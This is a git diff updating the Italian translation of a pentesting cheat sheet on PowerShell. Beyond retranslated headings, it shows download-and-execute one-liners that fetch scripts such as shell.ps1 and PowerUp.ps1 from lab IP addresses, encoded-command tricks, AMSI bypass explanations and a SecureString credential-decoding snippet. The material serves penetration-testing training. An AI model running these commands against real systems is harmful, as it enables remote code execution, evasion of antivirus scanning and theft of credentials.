diff --git a/src/windows-hardening/basic-powershell-for-pentesters/README.md b/src/windows-hardening/basic-powershell-for-pentesters/README.md index 186e02caf..aad7627e0 100644 --- a/src/windows-hardening/basic-powershell-for-pentesters/README.md +++ b/src/windows-hardening/basic-powershell-for-pentesters/README.md @@ -1,8 +1,8 @@ -# PowerShell di Base per Pentester +# Basic PowerShell for Pentesters {{#include ../../banners/hacktricks-training.md}} -## Posizioni Predefinite di PowerShell +## Posizioni predefinite di PowerShell ```powershell C:\windows\syswow64\windowspowershell\v1.0\powershell C:\Windows\System32\WindowsPowerShell\v1.0\powershell @@ -18,7 +18,6 @@ Get-Command -Module ``` ## Scarica ed Esegui ```powershell -g echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3 @@ -65,11 +64,11 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 PS> powershell -EncodedCommand ``` -## [Execution Policy](../authentication-credentials-uac-and-efs/index.html#ps-execution-policy) +## [Politica di Esecuzione](../authentication-credentials-uac-and-efs/index.html#ps-execution-policy) -## [Constrained language](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md) +## [Lingua vincolata](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md) -## [AppLocker Policy](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md) +## [Politica di AppLocker](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md) ## Abilita WinRM (PS Remoto) ```powershell @@ -117,7 +116,7 @@ ValueData : 0 **`amsi.dll`** è **caricato** nel tuo processo e ha le necessarie **esportazioni** per qualsiasi applicazione con cui interagire. E poiché è caricato nello spazio di memoria di un processo che **controlli**, puoi cambiare il suo comportamento **sovrascrivendo le istruzioni in memoria**. Rendendolo incapace di rilevare qualsiasi cosa. -Pertanto, l'obiettivo dei bypass AMSI è **sovrascrivere le istruzioni di quel DLL in memoria per rendere inutile il rilevamento**. +Pertanto, l'obiettivo dei bypass AMSI che utilizzerai è **sovrascrivere le istruzioni di quella DLL in memoria per rendere inutile il rilevamento**. **Pagina web del generatore di bypass AMSI**: [**https://amsi.fail/**](https://amsi.fail/) ```powershell @@ -168,7 +167,7 @@ https://slaeryan.github.io/posts/falcon-zero-alpha.html Controlla [**questo post per informazioni dettagliate e il codice**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/). Introduzione: -Questa nuova tecnica si basa sul hooking delle chiamate API dei metodi .NET. A quanto pare, i metodi .NET devono essere compilati in istruzioni di macchina native in memoria, che finiscono per assomigliare molto ai metodi nativi. Questi metodi compilati possono essere hooked per cambiare il flusso di controllo di un programma. +Questa nuova tecnica si basa sul hooking delle chiamate API dei metodi .NET. A quanto pare, i metodi .NET devono essere compilati in istruzioni di macchina native in memoria, che finiscono per sembrare molto simili ai metodi nativi. Questi metodi compilati possono essere hooked per cambiare il flusso di controllo di un programma. I passaggi per eseguire l'hooking delle chiamate API dei metodi .NET sono: @@ -240,7 +239,7 @@ powerview.md Get-LocalUser | ft Name,Enabled,Description,LastLogon Get-ChildItem C:\Users -Force | select Name ``` -## Secure String to Plaintext +## Stringa Sicura in Testo Normale ```powershell $pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring $user = "HTB\Tom"